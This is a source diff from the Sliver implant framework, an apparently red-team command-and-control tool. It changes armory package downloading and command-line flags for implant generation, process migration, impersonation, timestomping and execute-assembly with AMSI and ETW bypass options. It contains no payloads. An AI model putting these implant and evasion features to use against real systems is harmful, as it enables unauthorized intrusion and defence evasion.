 	if err != nil {
@@ -122,7 +144,25 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
 		return nil, nil, err
 	}
 
-	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
+	client := httpClient(clientConfig)
+	repoURL, err := url.Parse(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, nil, err
+	}
+	req := &http.Request{
+		Method: http.MethodGet,
+		URL:    repoURL,
+		Header: map[string][]string{},
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
 	if err != nil {
 		return nil, nil, err
 	}
@@ -147,10 +187,18 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
 		if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
 			return nil, nil, errors.New("invalid url scheme")
 		}
-		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
+		resp, err := client.Get(tarGzURL.String())
 		if err != nil {
 			return nil, nil, err
 		}
+		defer resp.Body.Close()
+		tarGz, err = ioutil.ReadAll(resp.Body)
+		if err != nil {
+			return nil, nil, err
+		}
+		if resp.StatusCode != http.StatusOK {
+			return nil, nil, errors.New("api returned non-200 status code")
+		}
 	}
 	return sig, tarGz, nil
 }
@@ -191,7 +239,13 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		return nil, err
 	}
 
-	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
+	client := httpClient(clientConfig)
+	resp, err := client.Get(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
 	if err != nil {
 		return nil, err
 	}
@@ -199,7 +253,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		if resp.StatusCode == http.StatusForbidden {
 			return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
 		}
-		return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
+		return nil, errors.New("api returned non-200 status code")
 	}
 
 	releases := []GithubRelease{}
@@ -216,13 +270,23 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 	var sigData []byte
 	for _, asset := range release.Assets {
 		if asset.Name == armoryIndexFileName {
-			armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
+			resp, err := client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				return nil, err
+			}
+			defer resp.Body.Close()
+			armoryIndexData, err = ioutil.ReadAll(resp.Body)
 			if err != nil {
 				return nil, err
 			}
 		}
 		if asset.Name == armoryIndexSigFileName {
-			sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
+			resp, err := client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				return nil, err
+			}
+			defer resp.Body.Close()
+			sigData, err = ioutil.ReadAll(resp.Body)
 			if err != nil {
 				return nil, err
 			}
@@ -235,9 +299,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		return nil, errors.New("invalid signature")
 	}
 
-	armoryIndex := &ArmoryIndex{
-		ArmoryConfig: armoryConfig,
-	}
+	armoryIndex := &ArmoryIndex{}
 	err = json.Unmarshal(armoryIndexData, armoryIndex)
 	if err != nil {
 		return nil, err
@@ -246,14 +308,20 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 }
 
 // GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
-func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	var publicKey minisign.PublicKey
 	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
 	if err != nil {
 		return nil, nil, err
 	}
 
-	resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
+	client := httpClient(clientConfig)
+	resp, err := client.Get(armoryPkg.RepoURL)
+	if err != nil {
+		return nil, nil, err
+	}
+	defer resp.Body.Close()
+	body, err := ioutil.ReadAll(resp.Body)
 	if err != nil {
 		return nil, nil, err
 	}
@@ -261,7 +329,7 @@ func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *
 		if resp.StatusCode == http.StatusForbidden {
 			return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
 		}
-		return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
+		return nil, nil, errors.New("api returned non-200 status code")
 	}
 
 	releases := []GithubRelease{}
@@ -275,7 +343,14 @@ func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *
 	var tarGz []byte
 	for _, asset := range release.Assets {
 		if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
-			body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
+			var resp *http.Response
+			resp, err = client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				break
+			}
+			defer resp.Body.Close()
+			var body []byte
+			body, err = ioutil.ReadAll(resp.Body)
 			if err != nil {
 				break
 			}
@@ -285,7 +360,13 @@ func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *
 			}
 		}
 		if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
-			tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
+			var resp *http.Response
+			resp, err = client.Get(asset.BrowserDownloadURL)
+			if err != nil {
+				break
+			}
+			defer resp.Body.Close()
+			tarGz, err = ioutil.ReadAll(resp.Body)
 			if err != nil {
 				break
 			}
@@ -299,27 +380,31 @@ func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *
 //
 
 // GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
-func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
 	if err != nil {
 		return nil, nil, err
 	}
+	client := httpClient(clientConfig)
 
 	sigURL, err := url.Parse(armoryPkg.RepoURL)
 	if err != nil {
 		return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 	}
 	sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
-
-	// Setup dummy auth here as the non-api endpoints don't support the Authorization header
-	noAuth := &assets.ArmoryConfig{
-		Authorization: "",
-	}
-	body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
+	sigResp, err := client.Get(sigURL.String())
 	if err != nil {
 		return nil, nil, err
 	}
-
+	defer sigResp.Body.Close()
+	if sigResp.StatusCode != http.StatusOK {
+		return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
+	}
+	var body []byte
+	body, err = ioutil.ReadAll(sigResp.Body)
+	if err != nil {
+		return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
+	}
 	sig, err := parsePkgMinsig(body)
 	if err != nil {
 		return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
@@ -332,10 +417,18 @@ func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage,
 			return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 		}
 		tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
-		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
+		tarGzResp, err := client.Get(tarGzURL.String())
 		if err != nil {
 			return nil, nil, err
 		}
+		defer tarGzResp.Body.Close()
+		if tarGzResp.StatusCode != http.StatusOK {
+			return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
+		}
+		tarGz, err = ioutil.ReadAll(tarGzResp.Body)
+		if err != nil {
+			return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
+		}
 	}
 
 	return sig, tarGz, nil
@@ -405,40 +498,3 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
 		},
 	}
 }
-
-func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
-	client := httpClient(clientConfig)
-	req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
-	if err != nil {
-		return nil, nil, err
-	}
-
-	if len(extraHeaders) > 0 {
-		for key := range extraHeaders {
-			req.Header.Add(key, strings.Join(extraHeaders[key], ","))
-		}
-	}
-	if armoryConfig.Authorization != "" {
-		req.Header.Set("Authorization", armoryConfig.Authorization)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, nil, err
-	}
-	defer resp.Body.Close()
-
-	body, err := ioutil.ReadAll(resp.Body)
-	return resp, body, err
-}
-
-func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
-	downloadHdr := http.Header{
-		"Accept": {"application/octet-stream"},
-	}
-	resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
-	if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
-		return nil, fmt.Errorf("Error downloading asset: http %d", resp.StatusCode)
-	}
-
-	return body, err
-}

client/command/beacons/beacons.go

@@ -129,7 +129,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			"ID",
 			"Name",
 			"Transport",
-			"Hostname",
 			"Username",
 			"Operating System",
 			"Last Check-in",
@@ -166,7 +165,6 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
 				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),

client/command/beacons/helpers.go

@@ -109,7 +109,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
 		return nil, ErrNoBeacons
 	}
 	for _, beacon := range beacons.Beacons {
-		if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
+		if beacon.ID == beaconID {
 			return beacon, nil
 		}
 	}

client/command/beacons/watch.go

@@ -57,7 +57,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }
 
 func waitForInput() <-chan bool {
-	done := make(chan bool, 1)
+	done := make(chan bool)
 	go func() {
 		defer close(done)
 		fmt.Scanf("\n")

client/command/builders/builders.go

@@ -1,71 +0,0 @@
-package builders
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
-)
-
-// BuildersCmd - List external builders
-func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s", err)
-		return
-	}
-	if len(builders.Builders) == 0 {
-		con.PrintInfof("No external builders connected to server\n")
-	} else {
-		PrintBuilders(builders.Builders, con)
-	}
-}
-
-func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Name", "Operator", "Templates", "Platform", "Compiler Targets",
-	})
-	for _, builder := range externalBuilders {
-
-		targets := []string{}
-		for _, target := range builder.Targets {
-			targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
-		}
-
-		row := table.Row{
-			builder.Name,
-			builder.OperatorName,
-			strings.Join(builder.Templates, ", "),
-			fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
-			strings.Join(targets, "\n"),
-		}
-		tw.AppendRow(table.Row(row))
-	}
-	con.Printf("%s\n", tw.Render())
-}

client/command/commands.go

@@ -41,7 +41,6 @@ import (
 	"github.com/bishopfox/sliver/client/command/armory"
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/beacons"
-	"github.com/bishopfox/sliver/client/command/builders"
 	"github.com/bishopfox/sliver/client/command/completers"
 	"github.com/bishopfox/sliver/client/command/cursed"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
@@ -1205,10 +1204,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			con.Println()
 			return nil
 		},
+		Args: func(a *grumble.Args) {
+			a.Uint("pid", "pid")
+		},
 		Flags: func(f *grumble.Flags) {
-			f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
-			f.Uint("p", "pid", 0, "process id to migrate into")
-			f.String("n", "process-name", "", "name of the process to migrate into")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -1298,9 +1297,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("P", "password", "", "SSH user password")
 			f.String("l", "login", "", "username to use to connect")
 			f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
-			f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
-			f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
-			f.String("r", "kerberos-realm", "", "Kerberos realm")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -1322,12 +1318,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 			f.String("N", "name", "", "agent name")
 			f.Bool("d", "debug", false, "enable debug features")
-			f.String("O", "debug-file", "", "path to debug output")
-			f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
+			f.Bool("e", "evasion", false, "enable evasion features")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
-			f.String("I", "template", "sliver", "implant code template")
-			f.Bool("E", "external-builder", false, "use an external builder")
-			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
@@ -1384,12 +1376,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 			f.String("N", "name", "", "agent name")
 			f.Bool("d", "debug", false, "enable debug features")
-			f.String("O", "debug-file", "", "path to debug output")
-			f.Bool("e", "evasion", false, "enable evasion features  (e.g. overwrite user space hooks)")
+			f.Bool("e", "evasion", false, "enable evasion features")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
-			f.String("I", "template", "sliver", "implant code template")
-			f.Bool("E", "external-builder", false, "use an external builder")
-			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
@@ -1512,7 +1500,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
 		Flags: func(f *grumble.Flags) {
 			f.String("s", "save", "", "directory/file to the binary to")
-			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1541,10 +1528,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 
 			f.Bool("d", "debug", false, "enable debug features")
-			f.String("O", "debug-file", "", "path to debug output")
 			f.Bool("e", "evasion", false, "enable evasion features")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
-			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
@@ -1562,8 +1547,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 
-			f.String("I", "template", "sliver", "implant code template")
-
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1603,14 +1586,12 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int64("M", "minutes", 0, "beacon interval minutes")
 			f.Int64("S", "seconds", 60, "beacon interval seconds")
 			f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
-			f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
 
 			// Generate flags
 			f.String("o", "os", "windows", "operating system")
 			f.String("a", "arch", "amd64", "cpu architecture")
 
 			f.Bool("d", "debug", false, "enable debug features")
-			f.String("O", "debug-file", "", "path to debug output")
 			f.Bool("e", "evasion", false, "enable evasion features")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
 
@@ -1630,8 +1611,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 
-			f.String("I", "template", "sliver", "implant code template")
-
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1972,7 +1951,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("4", "ip4", true, "display information about IPv4 sockets")
 			f.Bool("6", "ip6", false, "display information about IPv6 sockets")
 			f.Bool("l", "listen", false, "display information about listening sockets")
-			f.Bool("n", "numeric", false, "display numeric addresses (disable hostname resolution)")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverHelpGroup,
@@ -1991,7 +1969,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("c", "print-cmdline", false, "print command line arguments")
 			f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
 			f.Int("S", "skip-pages", 0, "skip the first n page(s)")
-			f.Bool("T", "tree", false, "print process tree")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -2054,14 +2031,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Run a new process in the context of the designated user (Windows Only)",
 		LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("u", "username", "", "user to impersonate")
+			f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
 			f.String("p", "process", "", "process to start")
 			f.String("a", "args", "", "arguments for the process")
-			f.String("d", "domain", "", "domain of the user")
-			f.String("P", "password", "", "password of the user")
-			f.Bool("s", "show-window", false, `
-			Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
-			f.Bool("n", "net-only", false, "use ")
 			f.Int("t", "timeout", 30, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
@@ -2133,7 +2105,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("u", "username", "", "username of the user to impersonate")
 			f.String("p", "password", "", "password of the user to impersonate")
 			f.String("d", "domain", "", "domain of the user to impersonate")
-			f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -2145,118 +2116,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 	})
 
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.ChmodStr,
-		Help:     "Change permissions on a file or directory",
-		LongHelp: help.GetHelpFor([]string{consts.ChmodStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Bool("r", "recursive", false, "recursively change permissions on files")
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.String("path", "path to the file to remove")
-			a.String("mode", "file permissions in octal, e.g. 0644")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			filesystem.ChmodCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.ChownStr,
-		Help:     "Change owner on a file or directory",
-		LongHelp: help.GetHelpFor([]string{consts.ChownStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Bool("r", "recursive", false, "recursively change permissions on files")
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.String("path", "path to the file to remove")
-			a.String("uid", "User, e.g. root")
-			a.String("gid", "Group, e.g. root")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			filesystem.ChownCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.ChtimesStr,
-		Help:     "Change access and modification times on a file (timestomp)",
-		LongHelp: help.GetHelpFor([]string{consts.ChtimesStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.String("path", "path to the file to remove")
-			a.String("atime", "Last accessed time in DateTime format, i.e. 2006-01-02 15:04:05")
-			a.String("mtime", "Last modified time in DateTime format, i.e. 2006-01-02 15:04:05")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			filesystem.ChtimesCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
-	memfilesCmd := &grumble.Command{
-		Name:     consts.MemfilesStr,
-		Help:     "List current memfiles",
-		LongHelp: help.GetHelpFor([]string{consts.MemfilesStr}),
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			filesystem.MemfilesListCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	}
-	memfilesCmd.AddCommand(&grumble.Command{
-		Name:     consts.AddStr,
-		Help:     "Add a memfile",
-		LongHelp: help.GetHelpFor([]string{consts.MemfilesStr, consts.AddStr}),
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			filesystem.MemfilesAddCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-	})
-	memfilesCmd.AddCommand(&grumble.Command{
-		Name:     consts.RmStr,
-		Help:     "Remove a memfile",
-		LongHelp: help.GetHelpFor([]string{consts.MemfilesStr, consts.RmStr}),
-		Args: func(a *grumble.Args) {
-			a.String("fd", "memfile file descriptor")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			filesystem.MemfilesRmCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-	})
-	con.App.AddCommand(memfilesCmd)
-
 	// [ Websites ] ---------------------------------------------
 
 	websitesCmd := &grumble.Command{
@@ -3688,22 +3547,4 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 	})
 	con.App.AddCommand(cursedCmd)
-
-	// [ Builders ] ---------------------------------------------
-	buildersCmd := &grumble.Command{
-		Name:      consts.BuildersStr,
-		Help:      "List external builders",
-		LongHelp:  help.GetHelpFor([]string{consts.BuildersStr}),
-		HelpGroup: consts.GenericHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			builders.BuildersCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	}
-	con.App.AddCommand(buildersCmd)
 }

client/command/exec/execute-assembly.go

@@ -20,7 +20,7 @@ package exec
 
 import (
 	"context"
-	"os"
+	"io/ioutil"
 	"path/filepath"
 	"strings"
 
@@ -50,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 			return
 		}
 	}
-	assemblyBytes, err := os.ReadFile(assemblyPath)
+	assemblyBytes, err := ioutil.ReadFile(assemblyPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
@@ -60,20 +60,14 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	process := ctx.Flags.String("process")
 	processArgsStr := ctx.Flags.String("process-arguments")
 	processArgs := strings.Split(processArgsStr, " ")
-	inProcess := ctx.Flags.Bool("in-process")
 
 	runtime := ctx.Flags.String("runtime")
 	etwBypass := ctx.Flags.Bool("etw-bypass")
 	amsiBypass := ctx.Flags.Bool("amsi-bypass")
 
-	if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
-		con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
-		return
-	}
-
 	assemblyArgsStr := strings.Join(assemblyArgs, " ")
 	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
-	if len(assemblyArgsStr) > 256 && !inProcess {
+	if len(assemblyArgsStr) > 256 {
 		con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
 		confirm := false
 		prompt := &survey.Confirm{Message: "Do you want to continue?"}
@@ -100,7 +94,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		Runtime:     runtime,
 		EtwBypass:   etwBypass,
 		AmsiBypass:  amsiBypass,
-		InProcess:   inProcess,
+		InProcess:   ctx.Flags.Bool("in-process"),
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/execute-shellcode.go

@@ -23,6 +23,7 @@ import (
 	"context"
 	"fmt"
 	"io"
+	"io/ioutil"
 	"log"
 	"os"
 
@@ -51,7 +52,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 	pid := ctx.Flags.Uint("pid")
 	shellcodePath := ctx.Args.String("filepath")
-	shellcodeBin, err := os.ReadFile(shellcodePath)
+	shellcodeBin, err := ioutil.ReadFile(shellcodePath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err.Error())
 		return
@@ -81,7 +82,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 			Data:         shellcodeBin,
 		})
 		if err != nil {
-			con.PrintErrorf("%s\n", err)
+			con.PrintErrorf("%s\n", err.Error())
 			return
 		}
 		oldSize := len(shellcodeBin)

client/command/exec/execute.go

@@ -18,6 +18,7 @@ package exec
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
 	"os"
 	"path/filepath"
 	"strings"
@@ -241,7 +242,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
 
 	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
 
-	outFilePath, err = os.CreateTemp("", outFileName)
+	outFilePath, err = ioutil.TempFile("", outFileName)
 
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/exec/migrate.go

@@ -3,17 +3,14 @@ package exec
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
-
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
